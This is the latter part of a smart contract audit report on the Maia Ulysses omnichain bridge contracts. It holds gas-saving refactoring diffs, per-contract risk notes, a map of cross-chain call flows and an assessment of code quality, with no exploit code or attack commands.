         if (msg.sender != bridgeAgentExecutorAddress) revert UnrecognizedBridgeAgentExecutor();
         _;
     }
-
-    /// @notice Modifier for a simple re-entrancy check.
-    modifier lock() {
-        require(_unlocked == 1);
-        _unlocked = 2;
-        _;
-        _unlocked = 1;
-    }
 }
diff --git a/src/BranchBridgeAgent.sol b/src/BranchBridgeAgent.sol
index b076d2d..3a5a831 100644
--- a/src/BranchBridgeAgent.sol
+++ b/src/BranchBridgeAgent.sol
@@ -18,7 +18,7 @@ import {
 import {ILayerZeroEndpoint} from "./interfaces/ILayerZeroEndpoint.sol";
 
 import {BranchBridgeAgentExecutor, DeployBranchBridgeAgentExecutor} from "./BranchBridgeAgentExecutor.sol";
-
+import "src/lock.sol";
 /// @title Library for Branch Bridge Agent Deployment
 library DeployBranchBridgeAgent {
     function deploy(
@@ -42,7 +42,7 @@ library DeployBranchBridgeAgent {
 
 /// @title Branch Bridge Agent Contract
 /// @author MaiaDAO
-contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants {
+contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants, Lock {
     using ExcessivelySafeCall for address;
 
     /*///////////////////////////////////////////////////////////////
@@ -93,13 +93,6 @@ contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants {
     /// @notice If true, the bridge agent has already served a request with this nonce from a given chain.
     mapping(uint256 settlementNonce => uint256 state) public executionState;
 
-    /*///////////////////////////////////////////////////////////////
-                           REENTRANCY STATE
-    //////////////////////////////////////////////////////////////*/
-
-    /// @notice Re-entrancy lock modifier state.
-    uint256 internal _unlocked = 1;
-
     /*///////////////////////////////////////////////////////////////
                              CONSTRUCTOR
     //////////////////////////////////////////////////////////////*/
@@ -918,14 +911,6 @@ contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants {
                                 MODIFIERS
     //////////////////////////////////////////////////////////////*/
 
-    /// @notice Modifier for a simple re-entrancy check.
-    modifier lock() {
-        require(_unlocked == 1);
-        _unlocked = 2;
-        _;
-        _unlocked = 1;
-    }
-
     /// @notice Modifier verifies the caller is the Layerzero Enpoint or Local Branch Bridge Agent.
     modifier requiresEndpoint(address _endpoint, bytes calldata _srcAddress) {
         _requiresEndpoint(_endpoint, _srcAddress);
diff --git a/src/BranchPort.sol b/src/BranchPort.sol
index ba60acc..26d5a56 100644
--- a/src/BranchPort.sol
+++ b/src/BranchPort.sol
@@ -11,10 +11,11 @@ import {IPortStrategy} from "./interfaces/IPortStrategy.sol";
 import {IBranchPort} from "./interfaces/IBranchPort.sol";
 
 import {ERC20hTokenBranch} from "./token/ERC20hTokenBranch.sol";
+import "src/lock.sol";
 
 /// @title Branch Port - Omnichain Token Management Contract
 /// @author MaiaDAO
-contract BranchPort is Ownable, IBranchPort {
+contract BranchPort is Ownable, IBranchPort, Lock {
     using SafeTransferLib for address;
 
     /*///////////////////////////////////////////////////////////////
@@ -83,13 +84,6 @@ contract BranchPort is Ownable, IBranchPort {
     mapping(address strategy => mapping(address token => uint256 dailyLimitRemaining)) public
         strategyDailyLimitRemaining;
 
-    /*///////////////////////////////////////////////////////////////
-                            REENTRANCY STATE
-    //////////////////////////////////////////////////////////////*/
-
-    /// @notice Reentrancy lock guard state.
-    uint256 internal _unlocked = 1;
-
     /*///////////////////////////////////////////////////////////////
                             CONSTANTS
     //////////////////////////////////////////////////////////////*/
@@ -561,12 +555,4 @@ contract BranchPort is Ownable, IBranchPort {
         if (!isPortStrategy[msg.sender][_token]) revert UnrecognizedPortStrategy();
         _;
     }
-
-    /// @notice Modifier for a simple re-entrancy check.
-    modifier lock() {
-        require(_unlocked == 1);
-        _unlocked = 2;
-        _;
-        _unlocked = 1;
-    }
 }
diff --git a/src/MulticallRootRouter.sol b/src/MulticallRootRouter.sol
index 0621f81..c92e54f 100644
--- a/src/MulticallRootRouter.sol
+++ b/src/MulticallRootRouter.sol
@@ -13,6 +13,7 @@ import {
 } from "./interfaces/IRootBridgeAgent.sol";
 import {IRootRouter, DepositParams, DepositMultipleParams} from "./interfaces/IRootRouter.sol";
 import {IVirtualAccount, Call} from "./interfaces/IVirtualAccount.sol";
+import "src/lock.sol";
 
 struct OutputParams {
     // Address to receive the output assets.
@@ -54,7 +55,7 @@ struct OutputMultipleParams {
  *         0x06         | multicallSignedMultipleOutput
  *
  */
-contract MulticallRootRouter is IRootRouter, Ownable {
+contract MulticallRootRouter is IRootRouter, Ownable, Lock {
     using SafeTransferLib for address;
 
     /*///////////////////////////////////////////////////////////////
@@ -76,8 +77,6 @@ contract MulticallRootRouter is IRootRouter, Ownable {
     /// @notice Bridge Agent Executor Address.
     address public bridgeAgentExecutorAddress;
 
-    /// @notice Re-entrancy lock modifier state.
-    uint256 internal _unlocked = 1;
 
     /*///////////////////////////////////////////////////////////////
                             CONSTRUCTOR
@@ -586,13 +585,6 @@ contract MulticallRootRouter is IRootRouter, Ownable {
                             MODIFIERS
     ////////////////////////////////////////////////////////////*/
 
-    /// @notice Modifier for a simple re-entrancy check.
-    modifier lock() {
-        require(_unlocked == 1);
-        _unlocked = 2;
-        _;
-        _unlocked = 1;
-    }
 
     /// @notice Modifier verifies the caller is the Bridge Agent Executor.
     modifier requiresExecutor() {
diff --git a/src/RootBridgeAgent.sol b/src/RootBridgeAgent.sol
index a6ad0ef..9d9a2c7 100644
--- a/src/RootBridgeAgent.sol
+++ b/src/RootBridgeAgent.sol
@@ -26,10 +26,11 @@ import {IRootPort as IPort} from "./interfaces/IRootPort.sol";
 
 import {VirtualAccount} from "./VirtualAccount.sol";
 import {DeployRootBridgeAgentExecutor, RootBridgeAgentExecutor} from "./RootBridgeAgentExecutor.sol";
+import "src/lock.sol";
 
 /// @title Root Bridge Agent Contract
 /// @author MaiaDAO
-contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants {
+contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants, Lock {
     using SafeTransferLib for address;
     using ExcessivelySafeCall for address;
     /*///////////////////////////////////////////////////////////////
@@ -84,13 +85,6 @@ contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants {
     /// @notice If true, bridge agent has already served a request with this nonce from  a given chain. Chain -> Nonce -> Bool
     mapping(uint256 chainId => mapping(uint256 nonce => uint256 state)) public executionState;
 
-    /*///////////////////////////////////////////////////////////////
-                            REENTRANCY STATE
-    //////////////////////////////////////////////////////////////*/
-
-    /// @notice Re-entrancy lock modifier state.
-    uint256 internal _unlocked = 1;
-
     /*///////////////////////////////////////////////////////////////
                             CONSTRUCTOR
     //////////////////////////////////////////////////////////////*/
@@ -1186,14 +1180,6 @@ contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants {
                             MODIFIERS
     //////////////////////////////////////////////////////////////*/
 
-    /// @notice Modifier for a simple re-entrancy check.
-    modifier lock() {
-        require(_unlocked == 1);
-        _unlocked = 2;
-        _;
-        _unlocked = 1;
-    }
-
     /// @notice Internal function to verify msg sender is Bridge Agent's Router.
     modifier requiresRouter() {
         if (msg.sender != localRouterAddress) revert UnrecognizedRouter();

---

4. Merge duplicated statements into a modifier (2 instances)

<a name="G-04"></a>

Description:

Two contracts have duplicated statements in separate functions. Merging these duplicated statements into a single modifier eliminates redundancy and improves gas efficiency.

Gas Savings:

The gas savings depend on the number of times the duplicated statements are executed and the complexity of the statements themselves. By eliminating the redundancy, it reduces the overall gas cost for executing those statements.

• src/factories/ArbitrumBranchBridgeAgentFactory.sol:84
• src/factories/BranchBridgeAgentFactory.sol:120

diff --git a/src/factories/ArbitrumBranchBridgeAgentFactory.sol b/src/factories/ArbitrumBranchBridgeAgentFactory.sol
index 3f07a7d..6455d9a 100644
--- a/src/factories/ArbitrumBranchBridgeAgentFactory.sol
+++ b/src/factories/ArbitrumBranchBridgeAgentFactory.sol
@@ -80,15 +80,14 @@ contract ArbitrumBranchBridgeAgentFactory is BranchBridgeAgentFactory {
         address _newBranchRouterAddress,
         address _rootBridgeAgentAddress,
         address _rootBridgeAgentFactoryAddress
-    ) external virtual override returns (address newBridgeAgent) {
-        require(
-            msg.sender == localCoreBranchRouterAddress, "Only the Core Branch Router can create a new Bridge Agent."
-        );
-        require(
-            _rootBridgeAgentFactoryAddress == rootBridgeAgentFactoryAddress,
-            "Root Bridge Agent Factory Address does not match."
-        );
-
+    )
+        external
+        virtual
+        override
+        requireCoreBranchRouter
+        requireRootBridgeAgentFactory(_rootBridgeAgentFactoryAddress)
+        returns (address newBridgeAgent)
+    {
         newBridgeAgent = address(
             DeployArbitrumBranchBridgeAgent.deploy(
                 rootChainId, _rootBridgeAgentAddress, _newBranchRouterAddress, localPortAddress
diff --git a/src/factories/BranchBridgeAgentFactory.sol b/src/factories/BranchBridgeAgentFactory.sol
index c789a27..33b594e 100644
--- a/src/factories/BranchBridgeAgentFactory.sol
+++ b/src/factories/BranchBridgeAgentFactory.sol
@@ -116,15 +116,13 @@ contract BranchBridgeAgentFactory is Ownable, IBranchBridgeAgentFactory {
         address _newBranchRouterAddress,
         address _rootBridgeAgentAddress,
         address _rootBridgeAgentFactoryAddress
-    ) external virtual returns (address newBridgeAgent) {
-        require(
-            msg.sender == localCoreBranchRouterAddress, "Only the Core Branch Router can create a new Bridge Agent."
-        );
-        require(
-            _rootBridgeAgentFactoryAddress == rootBridgeAgentFactoryAddress,
-            "Root Bridge Agent Factory Address does not match."
-        );
-
+    )
+        external
+        virtual
+        requireCoreBranchRouter
+        requireRootBridgeAgentFactory(_rootBridgeAgentFactoryAddress)
+        returns (address newBridgeAgent)
+    {
         newBridgeAgent = address(
             DeployBranchBridgeAgent.deploy(
                 rootChainId,
@@ -138,4 +136,19 @@ contract BranchBridgeAgentFactory is Ownable, IBranchBridgeAgentFactory {
 
         IPort(localPortAddress).addBridgeAgent(newBridgeAgent);
     }
+
+    modifier requireCoreBranchRouter() {
+        require(
+            msg.sender == localCoreBranchRouterAddress, "Only the Core Branch Router can create a new Bridge Agent."
+        );
+        _;
+    }
+
+    modifier requireRootBridgeAgentFactory(address _rootBridgeAgentFactoryAddress) {
+        require(
+            _rootBridgeAgentFactoryAddress == rootBridgeAgentFactoryAddress,
+            "Root Bridge Agent Factory Address does not match."
+        );
+        _;
+    }
 }

---

5. Remove unnecessary modifiers from empty/revert functions (5 instances)

<a name="G-05"></a>

Description:

Several functions in the code either don't have any implementation or unconditionally revert. Applying modifiers to these functions is unnecessary and can be removed to optimize gas consumption.

By removing unnecessary modifiers from empty/revert functions, the bytecode size is reduced, resulting in gas savings.

Gas Savings:

The gas savings would depend on the complexity of the modifier and the number of functions affected. Removing unnecessary modifiers reduces the bytecode size, resulting in gas savings.

• src/CoreRootRouter.sol:355, 365, 370, 380, 390

diff --git a/src/CoreRootRouter.sol b/src/CoreRootRouter.sol
index 3104a2a..8db63d1 100644
--- a/src/CoreRootRouter.sol
+++ b/src/CoreRootRouter.sol
@@ -351,7 +351,6 @@ contract CoreRootRouter is IRootRouter, Ownable {
         external
         payable
         override
-        requiresExecutor
     {
         revert();
     }
@@ -361,13 +360,12 @@ contract CoreRootRouter is IRootRouter, Ownable {
         external
         payable
         override
-        requiresExecutor
     {
         revert();
     }
 
     /// @inheritdoc IRootRouter
-    function executeSigned(bytes memory, address, uint16) external payable override requiresExecutor {
+    function executeSigned(bytes memory, address, uint16) external payable override {
         revert();
     }
 
@@ -376,7 +374,6 @@ contract CoreRootRouter is IRootRouter, Ownable {
         external
         payable
         override
-        requiresExecutor
     {
         revert();
     }
@@ -386,7 +383,6 @@ contract CoreRootRouter is IRootRouter, Ownable {
         external
         payable
         override
-        requiresExecutor
     {
         revert();
     }

---

Summary

VirtualAccount.sol

• Manages virtual accounts associated with the Root Port.
• Implements functions for account management and token withdrawals.
• Risk points identified:
  • No events emitted on transfers.
  • No checks for the right token in withdrawERC20 and withdrawERC721.
  • No reentrancy checks.

RootPort.sol

• Manages the Root Port functionality.
• Tracks local chain ID, Bridge Agents, Bridge Agent Factories, and hTokens.
• Implements various functions for managing tokens, Bridge Agents, and virtual accounts.
• Identified issues:
  • Contract is not upgradable, could be a potential limitation.

RootBridgeAgent.sol

• Manages interactions between the Root chain and other chains.
• Implements functions for bridging tokens, executing calls, and managing settlements.

CoreRootRouter.sol

• Facilitates communications between the Root chain and other chains.
• Manages Bridge Agents, bridge agent factories, and strategy tokens.
• Identified risks:
  • If _checkTimeLimit doesn't work correctly, overdrafting daily limit may be possible. // TODO:

MulticallRootRouter.sol

• Enables executing multiple calls in a single transaction on the Root chain.
• Works in conjunction with the Root Port and RootBridgeAgent.
• Identified issues:
  • Reverts on some execute functions due to missing implementation.

Root deployment flow:

ERC20hTokenRootFactory.sol

• Allows the creation of new ERC20hTokenRoot tokens on the Root chain.
• Primarily used by the CoreRootRouter contract.
• No specific risks or issues identified.

BranchBridgeAgent.sol

• Manages interactions between the Root chain and a specific branch chain.
• Responsible for bridging tokens, executing calls, and managing settlements.

ArbitrumCoreBranchRouter.sol

• Facilitates communications between the Root chain and the Arbitrum branch chain.
• Manages bridge agents and bridge agent factories for the Arbitrum chain.

ArbitrumBranchPort.sol

• Manages the Arbitrum branch port functionality.
• Tracks strategy tokens, port strategies, and local chain details.
• Identified risk:
  • replenishReserves can be called by anyone while a potential withdrawal function that may be exploitable.

ArbitrumBranchBridgeAgentFactory.sol

• A factory contract for creating Arbitrum branch bridge agents.
• No specific risks or issues identified.

Any comments for the judge to contextualize your findings

During the audit, I identified a High severity vulnerability that enables unauthorized execution of code as a VirtualAccount. This vulnerability is attributed to insufficient test coverage for the VirtualAccount functionality. I recommend implementing comprehensive test cases to detect and prevent such vulnerabilities in the future.

Approach taken in evaluating the codebase

To begin the audit, I familiarized myself with the protocol by thoroughly reviewing the available documentation. This allowed me to gain a comprehensive understanding of the key components and functionalities offered by the Ulysses omnichain solution, including Multichain Calls, Tokens Bridging, and Virtual Accounts.

Subsequently, I embarked on a detailed examination of the contracts within the designated audit scope. Through this meticulous review process, I gradually established a clear understanding of the interactions between different chains. To facilitate this analysis, I created visual representations, including graphs depicting the flow of functions responsible for chain interactions.

By following this rigorous approach, I successfully identified vulnerabilities within the project.

<details> <summary>Some of cross chain calls</summary>

LZ Calls

ROOT CALLS (SYSTEM CALLS):

1. CoreRootRouter.addBranchToBridgeAgent(Cross-chain):

   • Notes:
     • The callback callOutSystem is performed by the old local Bridge Agent.
   • Impact:
     • Creates a new Bridge Agent associated with the root and links it in the root.
     • To the branch chain:
       • Creates a new Bridge Agent.
         • Sets rootBridgeAgentPath as (root, this(branch)).
         • Deploys a new Bridge Agent Executor.
       • Adds the new Bridge Agent to the Local Port.
         • Sets isBridgeAgent to true.
         • Pushes the new Bridge Agent to bridgeAgents.
       • Increments depositNonce.
     • To the root chain:
       • Links the Branch Agent.
         • Sets getBranchBridgeAgent[branch] to the new Branch Bridge Agent.
         • Sets getBranchBridgeAgentPath[branch] to (branch, this(root)).
   • PATH: CoreRootRouter → RootBridgeAgent → LZEndpoint → BranchBridgeAgent → BranchBridgeAgentExecutor → CoreBranchRouter → BranchBridgeAgent → LZEndpoint → RootBridgeAgent → RootBridgeAgentExecutor → CoreRootRouter → RootPort → RootBridgeAgent.
   

2. RootPort.setCoreBranchRouter:

   • Impact:
     • To the root:
       • Increments settlementNonce.
     • To the Branch:
       • Sets coreBranchRouterAddress.
       • Sets isBridgeAgent.
       • Pushes bridgeAgents.

3. CoreRootRouter.toggleBranchBridgeAgentFactory:

   • Impact:
     • To the root:
       • Increments settlementNonce.
     • To the branch:
       • Toggles isBridgeAgentFactory.

4. CoreRootRouter.removeBranchBridgeAgent:

   • Impact:
     • To the Root:
       • Increments settlementNonce.
     • To the branch:
       • Toggles isBridgeAgent.

5. CoreRootRouter.manageStrategyToken:

   • Impact:
     • To the Root:
       • Increments settlementNonce.
     • To the Branch:
       • Sets isStrategyToken.
       • Retrieves getMinimumTokenReserveRatio.
       • Retrieves strategyTokens.

6. CoreRootRouter.managePortStrategy:

   • Impact:
     • To the Root:
       • Increments settlementNonce.
     • To the Branch:
       • Retrieves portStrategies.
       • Retrieves strategyDailyLimitAmount.
       • Sets isPortStrategy.

BRANCH CALLS:

1. BaseBranchRouter.callOut:

   • Risk:
     • May fail in arbitrum.
   • Impact:
     • To the root:
       • Increments settlementNonce.
     • To the branch:
       • Increments depositNonce.
       • Increments depositNonce a second time.
   

2. BaseBranchRouter.callOutAndBridge:

   • Currently, it can only bridge tokens to the root. If calldata is presented, it reverts.
   

3. BaseBranchRouter.callOutAndBridgeMultiple:

   • Currently, it can only bridge tokens to the root. If calldata is presented, it reverts.
   

4. ArbitrumCoreBranchRouter.addLocalToken:

   • Effect:
     • Increments depositNonce in ABBA.

5. CoreBranchRouter.addGlobalToken:

   
   • Effect:
     • Increments depositNonce in BBA.
     • Increments settlementNonce in RBA.
     • Increments depositNonce in BBA again.
     • Tokens are created.
     • Retrieves RP.getGlobalTokenFromLocal.
     • Retrieves RP.getLocalTokenFromGlobal.

I hope this clarifies the audit content for you! Let me know if you have any further questions.

</details>

New insights and learning from this audit

This was my first encounter with the zero layer concept during this audit. It was intriguing for me to delve into the mechanics of token movement across different chains.

Codebase Quality Assessment

The codebase for Maia Ulysses is highly commendable in terms of quality. It showcases a high degree of maturity and extensive testing, evident from its implementation adhering to widely recognized standards like ERC20 and ERC721. Notably, certain sections of the codebase draw inspiration from Layer Zero protocols. Further details are elaborated upon below:

The codebase is accompanied by comprehensive unit testing, utilizing the Foundry framework. Its inclusion of fuzz tests is particularly impressive, although it is important to note that some parts of the protocol lack test coverage, resulting in potential vulnerabilities.

The codebase generally includes well-written comments, aiding in code comprehension and maintenance.

The overall documentation is exceptional, providing in-depth insights into the ecosystem. However, developers seeking to integrate into the Maia ecosystem would benefit from an explanation of the ecosystem's fundamental contract-level operations, making it more accessible.

The codebase showcases a mature and well-organized structure, promoting clarity and ease of navigation.

In summary, the codebase of Maia Ulysses demonstrates an excellent level of quality across multiple aspects. Its implementation reflects maturity and thorough testing, while the documentation provides comprehensive understanding of the ecosystem. Continuous efforts to update comments and enhance code organization will further elevate the overall codebase quality. Moreover, the use of industry-standard static analysis tools like Slither strengthens the codebase's robustness.

Time spent:

57 hours